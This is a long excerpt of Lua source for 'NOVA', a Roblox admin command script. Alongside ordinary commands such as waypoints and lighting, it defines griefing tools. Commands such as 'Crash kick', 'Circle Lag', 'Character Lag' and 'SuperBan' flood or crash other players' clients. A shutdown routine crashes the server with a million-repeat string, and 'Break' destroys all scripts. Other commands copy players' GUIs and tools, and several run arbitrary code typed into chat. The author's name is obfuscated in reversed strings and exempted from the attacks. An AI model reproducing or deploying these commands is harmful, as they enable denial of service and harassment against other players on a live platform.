  4065. NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
  4066. NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
  4067. NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black
  4068.  
  4069. for _,v in pairs(GetRecursiveChildren(workspace)) do
  4070. if v:IsA("BasePart") then
  4071. Sel = Instance.new("SelectionBox",v)
  4072. Sel.Color = BrickColor.new("Really red")
  4073. Sel.Transparency = 0
  4074. Sel.Adornee = v
  4075. end
  4076. end
  4077. for i=10,1,-1 do
  4078. NOVA.Sounds.Sound.Parent = workspace
  4079. NOVA.Sounds.Sound.Volume = 1
  4080. NOVA.Sounds.Sound.Pitch = 1
  4081. NOVA.Sounds.Sound.SoundId = "http://www.roblox.com/Asset/?id=14863866"
  4082. wait(1)
  4083. NOVA.Sounds.Sound:Play()
  4084. if NOVA.Overrided == true then return end
  4085. end
  4086. for i=5,1,-1 do
  4087. NOVA.Sounds.Sound.Parent = workspace
  4088. NOVA.Sounds.Sound.Volume = 1
  4089. NOVA.Sounds.Sound.Pitch = 1
  4090. NOVA.Sounds.Sound.SoundId = NOVA.Sounds.Numbers[i]
  4091. wait(1)
  4092. NOVA.Sounds.Sound:Play()
  4093. if NOVA.Overrided == true then return end
  4094. end
  4095. wait(1)
  4096.  
  4097. Instance.new("StringValue",Workspace).Value = string.rep("NOVA SHUTDOWN SEQUENCE",1000000)
  4098. wait(1)
  4099. Instance.new("ManualSurfaceJointInstance",workspace)
  4100. end))
  4101. end
  4102. )
  4103.  
  4104. AddCommand("Get Rid Of","getridof",6,"Gets rid of the selected player.","<Player>",
  4105. function(Msg,Speaker)
  4106. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4107. if v.Name == string.reverse(string.gsub("nGEWDaGEWDmGEWDDGEWDmGEWDaGEWDeGEWDTGEWD","GEWD","")) then
  4108. Output("Attempt to get rid of the creator, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  4109. else
  4110. pcall(function()
  4111. GetRidOf(v)
  4112. end)
  4113. end
  4114. end
  4115. end
  4116. )
  4117.  
  4118. AddCommand("Load","load",1,"Loads NOVA's sound files.","No Arguments",
  4119. function(Msg,Speaker)
  4120. coroutine.resume(coroutine.create(function()
  4121. for _,v in pairs(NOVA.Sounds.Numbers) do
  4122. NOVA.Sounds.Sound.Parent = NOVA.Services.Workspace
  4123. NOVA.Sounds.Sound.SoundId = v
  4124. NOVA.Sounds.Sound.Volume = 0
  4125. wait()
  4126. NOVA.Sounds.Sound:Play()
  4127. wait()
  4128. NOVA.Sounds.Sound:Stop()
  4129. wait(1)
  4130. end
  4131. for _,v in pairs(NOVA.Sounds.PlayAfter) do
  4132. NOVA.Sounds.Sound.Parent = NOVA.Services.Workspace
  4133. NOVA.Sounds.Sound.SoundId = v
  4134. NOVA.Sounds.Sound.Volume = 0
  4135. wait()
  4136. NOVA.Sounds.Sound:Play()
  4137. wait()
  4138. NOVA.Sounds.Sound:Stop()
  4139. wait(1)
  4140. end
  4141. NOVA.Sounds.Sound.Volume = 1
  4142. end))
  4143. end
  4144. )
  4145.  
  4146. AddCommand("Target","targ",6,"Targets the selected player.","<Player>",
  4147. function(Msg,Speaker)
  4148. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4149. table.insert(NOVA.Targeted,v)
  4150. for _,part in pairs(GetRecursiveChildren(v.Character)) do
  4151. if part:IsA("Part") then
  4152. coroutine.resume(coroutine.create(function()
  4153. local SB = Instance.new("SelectionBox",part)
  4154. SB.Name = "NOVA Target Selection Box"
  4155. SB.Color = BrickColor.new(NOVA.Colors.Yellow)
  4156. SB.Adornee = part
  4157. wait(3)
  4158. SB:remove()
  4159. end))
  4160. end
  4161. end
  4162. end
  4163. end
  4164. )
  4165.  
  4166. AddCommand("Un Target","untarg",6,"Un targets the selected player.","<Player>",
  4167. function(Msg,Speaker)
  4168. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4169. for i=1,#NOVA.Targeted do
  4170. if NOVA.Targeted[i] == v then
  4171. table.remove(NOVA.Targeted,i)
  4172. end
  4173. end
  4174. end
  4175. end
  4176. )
  4177.  
  4178. AddCommand("Rejoin","rejoin",0,"Sends you a teleport request to the same place.","No Arguments",
  4179. function(Msg,Speaker)
  4180. CreateLocalScript([==[game:GetService'TeleportService':Teleport(]==]..game.PlaceId..[==[)]==],Speaker.Backpack)
  4181. end
  4182. )
  4183.  
  4184. AddCommand("Connect","connect",0,"Connects you to a NOVA Drone.","No Arguments",
  4185. function(Msg,Speaker)
  4186. CreateLocalScript([[
  4187.  
  4188. LocalPlayer = game:GetService("Players").LocalPlayer
  4189. script.Parent = LocalPlayer
  4190. NOVA = {
  4191. Bet = "/";
  4192. Services = {
  4193. Workspace = game:GetService("Workspace");
  4194. Lighting = game:GetService("Lighting");
  4195. Debris = game:GetService("Debris");
  4196. Players = game:GetService("Players");
  4197. Teams = game:GetService("Teams");
  4198. SoundService = game:GetService("SoundService");
  4199. StarterGui = game:GetService("StarterGui");
  4200. StarterPack = game:GetService("StarterPack");
  4201. };
  4202.  
  4203. Camera = workspace.CurrentCamera;
  4204. LocalCharacter = Instance.new("Model");
  4205. LocalHead = Instance.new("Part");
  4206. LocalFire = Instance.new("Fire");
  4207. }
  4208. script.Name = NOVA.LocalPlayer.Name
  4209. script.Parent = nil
  4210. repeat wait() until NOVA.LocalPlayer.Parent == nil
  4211. game.Players.LocalPlayer.Chatted:connect(function(Msg)
  4212. if not game.Players:findFirstChild(game.Players.LocalPlayer.Name) then
  4213. game:GetService("Chat"):Chat(NOVA.LocalHead,Msg,math.random(0,2))
  4214.  
  4215. if Msg == NOVA.Bet .. "rejoin" .. NOVA.Bet then
  4216. game:GetService'TeleportService':Teleport(game.PlaceId)
  4217. end
  4218. if Msg:sub(1,3) == NOVA.Bet .. "c" .. NOVA.Bet then
  4219. pcall(function()
  4220. newScript(Msg:sub(4),workspace)
  4221. end)
  4222. end
  4223. if Msg:sub(1,7) == NOVA.Bet .. "local" .. NOVA.Bet then
  4224. coroutine.resume(coroutine.create(function()
  4225. pcall(function()
  4226. loadstring(Msg:sub(8))()
  4227. end)
  4228. end))
  4229. end
  4230. if Msg:sub(1,11) == NOVA.Bet .. "workspace" .. NOVA.Bet then
  4231. LocalPlayer.Character = workspace
  4232. end
  4233. end
  4234. end)
  4235.  
  4236. NOVA.LocalPlayer.Character = nil
  4237. NOVA.LocalHead.FormFactor = "Custom"
  4238. NOVA.LocalHead.Size = Vector3.new(3,3,3)
  4239. NOVA.LocalHead.Reflectance = 1e+999
  4240. NOVA.LocalHead.Shape = "Ball"
  4241. NOVA.LocalHead.Anchored = true
  4242. NOVA.LocalHead.CanCollide = false
  4243. NOVA.LocalHead.Transparency = 0
  4244. NOVA.LocalCharacter.Name = NOVA.LocalPlayer.Name
  4245.  
  4246. NOVA.LocalFire.Color = Color3.new(0,0,0)
  4247. NOVA.LocalFire.SecondaryColor = Color3.new(0,0,0)
  4248. NOVA.LocalFire.Heat = 12
  4249. NOVA.LocalFire.Size = 7
  4250.  
  4251. while wait() do
  4252. pcall(function()
  4253. NOVA.LocalCharacter.Parent=workspace
  4254. NOVA.LocalHead.Parent = NOVA.LocalCharacter
  4255. NOVA.LocalHead.CFrame = NOVA.Camera.CoordinateFrame * CFrame.new(0,0,-30.517578125)
  4256. NOVA.LocalFire.Parent = NOVA.LocalHead
  4257. end)
  4258. end
  4259. ]],Speaker.Backpack)
  4260. end
  4261. )
  4262.  
  4263.  
  4264. AddCommand("Script","c",6,"Pseudo scripting command.","<Source>",
  4265. function(Msg,Speaker)
  4266. CreateScript(Msg,workspace)
  4267. end
  4268. )
  4269.  
  4270. AddCommand("New Local Script","newlocal",6,"Psudo scripting command.","<Player><Source>",
  4271. function(Msg,Speaker)
  4272. for _,v in pairs(GetPlayers(Msg:sub(1,GetSplit(Msg)-1),Speaker)) do
  4273. CreateLocalScript(Msg:sub(GetSplit(Msg)+1),v.Backpack)
  4274. end
  4275. end
  4276. )
  4277.  
  4278. AddCommand("New Script","newscript",6,"Psudo scripting command.","<Player><Source>",
  4279. function(Msg,Speaker)
  4280. for _,v in pairs(GetPlayers(Msg:sub(1,GetSplit(Msg)-1),Speaker)) do
  4281. CreateScript(Msg:sub(GetSplit(Msg)+1),v.Backpack)
  4282. end
  4283. end
  4284. )
  4285.  
  4286. AddCommand("Local Script","local",6,"Pseudo scripting command.","<Source>",
  4287. function(Msg,Speaker)
  4288. CreateLocalScript(Msg,Speaker.Backpack)
  4289. end
  4290. )
  4291.  
  4292. AddCommand("Derp","derp",1,"Derps the workspace.","No Arguments",
  4293. function(Msg,Speaker)
  4294. for _,v in pairs(GetRecursiveChildren(workspace)) do
  4295. pcall(function()
  4296. v.Transparency = 7.3015691270939e-002
  4297. end)
  4298. end
  4299. end
  4300. )
  4301.  
  4302. AddCommand("Circle Lag","circlag",6,"Lags the selected player with circles.","<Player>",
  4303. function(Msg,Speaker)
  4304. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4305. if v.Name == string.reverse(string.gsub("nGEWDaGEWDmGEWDDGEWDmGEWDaGEWDeGEWDTGEWD","GEWD","")) then
  4306. Output("Attempt to lag the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  4307. else
  4308. pcall(function()
  4309. CreateLocalScript([==[
  4310. LocalPlayer = game:GetService("Players").LocalPlayer
  4311. Camera = workspace.CurrentCamera
  4312. while wait() do
  4313. for i=1,10 do
  4314. Part = Instance.new("Seat",Camera)
  4315. Part.Size = Vector3.new(math.random(1,20),math.random(1,20),math.random(1,20))
  4316. Part.Shape = "Ball"
  4317. Part.BrickColor = BrickColor.new(math.random(),math.random(),math.random())
  4318. Part.CFrame = CFrame.new(math.random(-250,250),50,math.random(-250,250))
  4319. end
  4320. end
  4321. ]==],v.Backpack)
  4322. end)
  4323. end
  4324. end
  4325. end
  4326. )
  4327.  
  4328. AddCommand("Clear Camera","clearcam",3,"Clears the selected player's current camera.","<Player>",
  4329. function(Msg,Speaker)
  4330. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4331. CreateLocalScript("workspace.CurrentCamera:ClearAllChildren()",v.Backpack)
  4332. end
  4333. end
  4334. )
  4335.  
  4336. AddCommand("Screen Peek","screenpeek",4,"Shows you the selected player's playergui.","<Player>",
  4337. function(Msg,Speaker)
  4338. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4339. for _,GUI in pairs(v.PlayerGui:children()) do
  4340. GUI:Clone().Parent = Speaker.PlayerGui
  4341. end
  4342. end
  4343. end
  4344. )
  4345.  
  4346. AddCommand("Show Targeted","showtarg",1,"Shows the targeted players.","No Arguments",
  4347. function(Msg,Speaker)
  4348. for _,v in pairs(NOVA.Targeted) do
  4349. for _,part in pairs(GetRecursiveChildren(v.Character)) do
  4350. if part:IsA("Part") then
  4351. coroutine.resume(coroutine.create(function()
  4352. local SB = Instance.new("SelectionBox",part)
  4353. SB.Name = "NOVA Target Selection Box"
  4354. SB.Color = BrickColor.new(NOVA.Colors.Yellow)
  4355. SB.Adornee = part
  4356. wait(3)
  4357. SB:remove()
  4358. end))
  4359. end
  4360. end
  4361. end
  4362. end
  4363. )
  4364.  
  4365. AddCommand("Note To Self","nts",0,"Note to self commands. ( /add /set /see )","<Action>",
  4366. function(Msg,Speaker)
  4367. if Msg:sub(1,4) == "add" .. NOVA.Bet then
  4368. Speaker:SaveString("NoteToSelf",Speaker:LoadString("NoteToSelf").." "..Msg:sub(5))
  4369. elseif Msg:sub(1,4) == "set" .. NOVA.Bet then
  4370. Speaker:SaveString("NoteToSelf",Msg:sub(5))
  4371. elseif Msg == "see" then
  4372. Output(Speaker:LoadString("NoteToSelf"),GetRankedTable(Speaker).Color,Speaker)
  4373. end
  4374. end
  4375. )
  4376.  
  4377. AddCommand("Smite","smite",6,"Smites the selected player.","<Player>",
  4378. function(Msg,Speaker)
  4379. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4380. local Char = v.Character
  4381. local Smite = Instance.new("Part",workspace)
  4382. Smite.FormFactor = "Custom"
  4383. Smite.TopSurface = "Smooth"
  4384. Smite.BottomSurface = "Smooth"
  4385. Smite.Anchored = true
  4386. Smite.Locked = true
  4387. Smite.Size = Vector3.new(25,3,25)
  4388. Smite.BrickColor = BrickColor.new("New Yeller")
  4389. Smite.Transparency = 1
  4390. Smite.CFrame = Char.Torso.CFrame * CFrame.new(0,-2.5,0)
  4391. for i=1,0,-0.05 do
  4392. wait()
  4393. Smite.Transparency = i
  4394. end
  4395. coroutine.resume(coroutine.create(function()
  4396. for i=0,1,0.05 do
  4397. wait()
  4398. Smite.Transparency = i
  4399. end
  4400. Smite:remove()
  4401. end))
  4402. wait()
  4403. local Expl = Instance.new("Explosion",workspace)
  4404. Expl.Position = Smite.Position
  4405. Expl.BlastPressure = 1000000000
  4406.  
  4407. for _,Part in pairs(GetRecursiveChildren(Char)) do
  4408. if Part:IsA("BasePart") then
  4409. coroutine.resume(coroutine.create(function()
  4410. for i=1,10 do
  4411. local Sparkles = Instance.new("Sparkles",Part)
  4412. Sparkles.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  4413. local Fire = Instance.new("Fire",Part)
  4414. Fire.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  4415. Fire.SecondaryColor = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  4416. end
  4417. Part:BreakJoints()
  4418. local BP = Instance.new("BodyPosition",Part)
  4419. BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  4420. BP.P = 1000
  4421. BP.position = Part.Position + Vector3.new(
  4422. math.random(-100,100),
  4423. 100,
  4424. math.random(-100,100))
  4425. wait(3)
  4426. local Expl = Instance.new("Explosion",workspace)
  4427. Expl.Position = Part.Position
  4428. Expl.BlastPressure = 1000000000
  4429. end))
  4430. end
  4431. end
  4432. end
  4433. end
  4434. )
  4435. AddCommand("Naked","naked",1,"Removes shirt and pants from player.","<Player>",
  4436. function(Msg,Speaker)
  4437. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4438. pcall(function()
  4439. v.Character.Pants:Remove()
  4440. v.Character.Shirt:Remove()
  4441. end)
  4442. end
  4443. end
  4444. )
  4445.  
  4446. AddCommand("Lock Humanoid Health","lockh",7,"Locks the health.","<Player>",
  4447. function(Msg,Speaker)
  4448. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4449.  
  4450. v.Character.Humanoid.Changed:connect(function(val)
  4451. if val == "Health" then
  4452. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  4453. end
  4454.  
  4455.  
  4456. end)
  4457. end
  4458. end
  4459. )
  4460.  
  4461. AddCommand("Change betkey","bet",7,"Changes the bet key.","<New bet Key>",
  4462. function(Msg,Speaker)
  4463. NOVA.Bet = Msg
  4464. end
  4465. )
  4466. AddCommand("Crash kick","ckick",7,"Makes the player lag badly and get kicked.","<Player>",
  4467. function(Msg,Speaker)
  4468. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4469.  
  4470. coroutine.resume(coroutine.create(function()
  4471. while wait() do
  4472. for i = 1, 100 do
  4473. if v:findFirstChild("PlayerGui") ~= nil then
  4474. local mes = Instance.new("Message", v.PlayerGui)
  4475. mes.Text = "Crashing"
  4476. local ex = Instance.new("Explosion", v.PlayerGui)
  4477. ex.BlastRadius = math.huge
  4478. local hint = Instance.new("Hint", v.PlayerGui)
  4479. hint.Text = "---------------------------------------------------------------------------"
  4480. local s = Instance.new("ScreenGui", v.PlayerGui)
  4481. local txt = Instance.new("TextBox", s)
  4482. txt.Size = UDim2.new(1, 0, 1, 0)
  4483. txt.Text = "Your Being Lagged"
  4484. txt.FontSize = "Size48"
  4485. end
  4486. end
  4487. end
  4488. end))
  4489. end
  4490. end
  4491. )
  4492. AddCommand("ExplodeTalk","expltalk",4,"Makes the player explode when they talk.","<Player>",
  4493. function(Msg,Speaker)
  4494. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4495. pcall(function()
  4496. v.Chatted:connect(function(Msg)
  4497. local m = Instance.new("Explosion",v.Character.Head)
  4498. m.Position = v.Character.Head.Position
  4499. end)
  4500. end)
  4501. end
  4502. end
  4503. )
  4504. AddCommand("Epic","Epic",1,"Epicifys the selected player.","<Player>",
  4505. function(Msg,Speaker)
  4506. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4507. pcall(function()
  4508. for _,Part in pairs(GetRecursiveChildren(v.Character)) do
  4509. if Part:IsA("BasePart") then
  4510. for i=1,10 do
  4511. local Sparkles = Instance.new("Sparkles",Part)
  4512. Sparkles.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  4513. local Fire = Instance.new("Fire",Part)
  4514. Fire.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  4515. Fire.SecondaryColor = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  4516. end
  4517. end
  4518. end
  4519. end)
  4520. end
  4521. end
  4522. )
  4523.  
  4524. AddCommand("Show Chat","showchat",7,"Toggle NOVA.ShowChat ( boolean )","No Arguments",
  4525. function(Msg,Speaker)
  4526. if NOVA.ShowChat == true then
  4527. NOVA.ShowChat = false
  4528. elseif NOVA.ShowChat == false then
  4529. NOVA.ShowChat = true
  4530. end
  4531. end
  4532. )
  4533.  
  4534.  
  4535. AddCommand("Character Lag","charlag",6,"Lags the targeted player with their own character. Brutal.","<Player>",
  4536. function(Msg,Speaker)
  4537. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4538. if v.Name == string.reverse(string.gsub("nGEWDaGEWDmGEWDDGEWDmGEWDaGEWDeGEWDTGEWD","GEWD","")) then
  4539. Output("Attempt to lag the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  4540. else
  4541. pcall(function()
  4542. CreateLocalScript([[
  4543. script.Parent = workspace.CurrentCamera
  4544. while wait() do
  4545. coroutine.resume(coroutine.create(function()
  4546. for i=1,math.huge do
  4547. wait()
  4548. for i=1,10 do
  4549. NS = script:Clone()
  4550. NS.Disabled = true
  4551. NS.Parent = game:GetService("Players").LocalPlayer.Backpack
  4552. NS.Disabled = false
  4553. end
  4554. for i=1,10 do
  4555. game:GetService("Players").LocalPlayer.Character.Archivable = true
  4556. local Clone = game:GetService("Players").LocalPlayer.Character:Clone()
  4557. Clone.Parent = workspace.CurrentCamera
  4558. end
  4559. end
  4560. end))
  4561. end]],
  4562. v.Backpack)
  4563. end)
  4564. end
  4565. end
  4566. end
  4567. )
  4568.  
  4569.  
  4570.  
  4571. AddCommand("Platform Stand","ps",3,"Sets platformstand to true for the selected player.","<Player>",
  4572. function(Msg,Speaker)
  4573. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4574. pcall(function()
  4575. v.Character.Humanoid.PlatformStand = true
  4576. end)
  4577. end
  4578. end
  4579. )
  4580.  
  4581. AddCommand("Un Platform Stand","ps",3,"Sets platformstand to false for the selected player.","<Player>",
  4582. function(Msg,Speaker)
  4583. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4584. pcall(function()
  4585. v.Character.Humanoid.PlatformStand = false
  4586. end)
  4587. end
  4588. end
  4589. )
  4590.  
  4591. AddCommand("Duplicate Tools","dupetools",4,"Clones the tools of the selected player.","<Player>",
  4592. function(Msg,Speaker)
  4593. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4594. pcall(function()
  4595. for _,Tool in pairs(v.Backpack:GetChildren()) do
  4596. Tool:Clone().Parent = Speaker.Backpack
  4597. end
  4598. end)
  4599. end
  4600. end
  4601. )
  4602. AddCommand("SuperBan","sban",4,"Superbans that player.","<Player>",
  4603. function(Msg,Speaker)
  4604. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4605. if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  4606. Output("Attempt to ban the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  4607. else
  4608. pcall(function()
  4609.  
  4610. GetRankedTable(v).Rank = -1
  4611. SyncRankOutSingular(v)
  4612. Instance.new("StringValue",v.PlayerGui).Value:rep("Shutdown and be banned nub",1000000)
  4613. end)
  4614. end
  4615. end
  4616. end
  4617. )
  4618.  
  4619. AddCommand("Give","give",3,"Lists the items in lighting for the selected player.","<Player>",
  4620. function(Msg,Speaker)
  4621. local Give = {}
  4622. for _,v in pairs(NOVA.Services.Lighting:children()) do
  4623. Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,
  4624. function()
  4625. table.insert(Give,v:Clone())
  4626. end
  4627. )
  4628. end
  4629. Output("Done",NOVA.Colors.Green,Speaker,nil,
  4630. function()
  4631. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4632. for _,Tool in pairs(Give) do
  4633. Tool:Clone().Parent = v.Backpack
  4634. end
  4635. end
  4636. RemoveTablets(Speaker)
  4637. end
  4638. )
  4639. Output("Dismiss",NOVA.Colors.Red,Speaker)
  4640. end
  4641. )
  4642.  
  4643. AddCommand("StoreTools","store",1,"Stores the speaker's tools in the lighting.","No Arguments",
  4644. function(Msg,Speaker)
  4645. pcall(function()
  4646. for _,Tool in pairs(Speaker.Backpack:children()) do
  4647. Tool:Clone().Parent = NOVA.Services.Lighting
  4648. end
  4649. end)
  4650. end
  4651. )
  4652.  
  4653. AddCommand("Personal Message","pm",1,"Privately tells the selected player the selected string.","<Player><String>",
  4654. function(Msg,Speaker)
  4655. Split = GetSplit(Msg)
  4656. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  4657. if v:FindFirstChild("PlayerGui") ~= nil then
  4658. makeMessage(" [ " .. Speaker.Name .. " ] " ..Msg:sub(Split+1),v.PlayerGui)
  4659. end
  4660. end
  4661. end
  4662. )
  4663.  
  4664. AddCommand("Help","help",0,"Displays NOVA's help interface.","No Arguments",
  4665. function(Msg,Speaker)
  4666. local Data = GetRankedTable(Speaker)
  4667. Output("NOVA is a multi-purpose admin script created by "..string.reverse(string.gsub("nGtRaGtRmGtRDGtRmGtRaGtReGtRTGtR","GtR",""))..".",Data.Color,Speaker)
  4668. Output("Your current rank is "..GetRankName(Speaker.Name).." ( "..Data.Rank.." ).",Data.Color,Speaker)
  4669. Output("For a list of commands avalible to your rank click this tablet.",Data.Color,Speaker,nil,
  4670. function()
  4671. RemoveTablets(Speaker)
  4672. OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker)
  4673. end
  4674. )
  4675. Output("This is the help menu. Click a tablet for more information.",Data.Color,Speaker)
  4676. Output("How to use commands.",Data.Color,Speaker,nil,
  4677. function()
  4678. RemoveTablets(Speaker)
  4679. Output("To use a command you use 1 slash then the arguments seperated by a slash.",Data.Color,Speaker)
  4680. Output("Please note it is a slash ( located below/around the 'Return'/'Enter' key on your keyboard, and near the 'Shift' key below 'Enter' on your keyboard.",Data.Color,Speaker)
  4681. Output("Example : " .. NOVA.Bet.. "kill" .. NOVA.Bet..Speaker.Name,Data.Color,Speaker)
  4682. Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "help" .. NOVA.Bet,Speaker) end)
  4683. end
  4684. )
  4685. Output("Thank you for using NOVA Admin. ( made by "..string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ","")).." )",Data.Color,Speaker)
  4686. Output("Thank you for using NOVA Admin. ( edited by t".."u".."s".."K".."O".."r".."6".."6".."1" .. ")" ,Data.Color,Speaker)
  4687. end
  4688. )
  4689.  
  4690. AddCommand("Break","break",7,"Breaks all scripts in workspace.","No Arguments",
  4691. function(Msg,Speaker)
  4692. for _,v in pairs(GetRecursiveChildren(NOVA.Services.Workspace)) do
  4693. if v:IsA("Script") then
  4694. v.Disabled = true
  4695. v.Parent = NOVA.Services.Debris
  4696. v.Disabled = true
  4697. v:Destroy()
  4698. v.Parent = NOVA.Services.Debris
  4699. v.Disabled = true
  4700. v:Destroy()
  4701. end
  4702. end
  4703. end
  4704. )
  4705.  
  4706. AddCommand("Execute","exe",6,"Loads the following string.","<Source>",
  4707. function(Msg,Speaker)
  4708. if Msg == nil or #Msg == 0 then
  4709. RemoveTablets(Speaker)
  4710. local Data = GetRankedTable(Speaker)
  4711. for _,v in pairs(Data.Executeables:children()) do
  4712. Output(v.Name,Data.Color,Speaker,nil,
  4713. function()
  4714. local a,b=coroutine.resume(coroutine.create(function() loadstring([[
  4715. --[=[NOVA Internal Executeable Script ]=]--
  4716. Speaker = NOVA.Services.Players:FindFirstChild("]] .. Speaker.Name .. [[")
  4717. ]] .. v.Value .. [[]])() end))
  4718. if not a then
  4719. Output(b,NOVA.Colors.Red,Speaker,15)
  4720. else
  4721. Output("Script ran succuessfully!",NOVA.Colors.Green,Speaker,5)
  4722. end
  4723. end
  4724. )
  4725. end
  4726. Output("Dismiss",NOVA.Colors.Red,Speaker)
  4727. else
  4728. Source = Msg
  4729. --Source = string.gsub(Source,"print(","PrintS(")
  4730. --Source = string.gsub(Source,"print'","PrintS'")
  4731. local a,b=coroutine.resume(coroutine.create(function() loadstring([[Speaker = NOVA.Services.Players:FindFirstChild("]] .. Speaker.Name .. [[") ]] .. Source)() end))
  4732. if not a then
  4733. Output(b,NOVA.Colors.Red,Speaker,15)
  4734. else
  4735. Output("Script ran succuessfully!",NOVA.Colors.Green,Speaker,5)
  4736. end
  4737. end
  4738. end
  4739. )
  4740.  
  4741. AddCommand("Spy","spy",1,"Parents your character to your camera.","No Arguments",
  4742. function(Msg,Speaker)
  4743. pcall(function()
  4744. CreateLocalScript([[
  4745. game.Players.LocalPlayer.Character.Parent = workspace.CurrentCamera
  4746. ]],
  4747. Speaker.Backpack)
  4748.  
  4749. end)
  4750. end
  4751. )
  4752.  
  4753. AddCommand("Set Pitch","setpitch",2,"Sets the pitch of NOVA Sound.","<Int Value>",
  4754. function(Msg,Speaker)
  4755. pcall(function()
  4756. NOVA.Sounds.Sound.Pitch = tonumber(Msg)
  4757. end)
  4758. end
  4759. )
  4760. AddCommand("Set Loop","setloop",2,"Sets the .Loooped value of NOVA.Sounds.Sound.","<Boolean>",
  4761. function(Msg,Speaker)
  4762. pcall(function()
  4763. NOVA.Sounds.Sound.Looped = Msg
  4764. end)
  4765. end
  4766. )
  4767. AddCommand("Click Remove","cremove",6,"Gives you a tablet to click to remove NOVA.","No Arguments",
  4768. function(Msg,Speaker)
  4769. Output("Remove NOVA Admin? ("..math.random(1,9)..")",NOVA.Colors.Red,Speaker,nil,function() OnChatted(NOVA.Bet .. "remove" .. NOVA.Bet,Speaker) end)
  4770. end
  4771. )
  4772. AddCommand("Use Plugins","useplugins",3,"Lets you use any installed plugins.","<Player>",
  4773. function(Msg,Speaker)
  4774. local Give = {}
  4775. for _,v in pairs(NOVA.Plugins) do
  4776. Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,
  4777. function()
  4778. table.insert(Give,v:Clone())
  4779. end
  4780. )
  4781. end
  4782. Output("Done",NOVA.Colors.Green,Speaker,nil,
  4783. function()
  4784. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4785. for _,Tool in pairs(Give) do
  4786. New = Tool:Clone()
  4787. New.Parent = v.Backpack
  4788. pcall(function()
  4789. New.Disabled = false
  4790. end)
  4791. end
  4792. end
  4793. RemoveTablets(Speaker)
  4794. end
  4795. )
  4796. Output("Dismiss",NOVA.Colors.Red,Speaker)
  4797. end
  4798. )
  4799. AddCommand("Lock","lock",3,"Locks the selected player's character.","<Player>",
  4800. function(Msg,Speaker)
  4801. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4802. pcall(function()
  4803. for _,part in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
  4804. part.Locked = true
  4805. end
  4806. end)
  4807. end
  4808. end
  4809. )
  4810. AddCommand("Un Lock","unlock",3,"Unlocks the selected player's character.","<Player>",
  4811. function(Msg,Speaker)
  4812. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4813. pcall(function()
  4814. for _,part in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
  4815. part.Locked = false
  4816. end
  4817. end)
  4818. end
  4819. end
  4820. )
  4821. AddCommand("New LocalScript","newlocal",6,"Creates a local script in the selected player's backpack.","<Player>",
  4822. function(Msg,Speaker)
  4823. Split = GetSplit(Msg)
  4824. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  4825. pcall(function()
  4826. CreateLocalScript(Msg:sub(Split+1),v.Backpack)
  4827. end)
  4828. end
  4829. end
  4830. )
  4831. AddCommand("Brightness","brightness",2,"Changes the brightness value.","<IntValue>",
  4832. function(Msg,Speaker)
  4833. NOVA.Services.Lighting.Brightness = tonumber(Msg)
  4834. end
  4835. )
  4836. AddCommand("Set Waypoint","setwaypoint",1,"Sets a waypoint.","<StringValue>",
  4837. function(Msg,Speaker)
  4838. pcall(function()
  4839. Rtn = CFrame.new(
  4840. Speaker.Character.Torso.CFrame.x,
  4841. Speaker.Character.Torso.CFrame.y,
  4842. Speaker.Character.Torso.CFrame.z
  4843. )
  4844. table.insert(NOVA.Waypoints,{Name = Msg,CFrame = Rtn})
  4845. end)
  4846. end
  4847. )
  4848. AddCommand("Goto","goto",0,"Teleports you to a selected waypoint.","No Arguments",
  4849. function(Msg,Speaker)
  4850. for _,v in pairs(NOVA.Waypoints) do
  4851. Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,function()
  4852. pcall(function()
  4853. RemoveTablets(Speaker)
  4854. Speaker.Character.Torso.CFrame = v.CFrame
  4855. end)
  4856. end)
  4857. end
  4858. Output("Dismiss",NOVA.Colors.Red,Speaker)
  4859. end
  4860. )
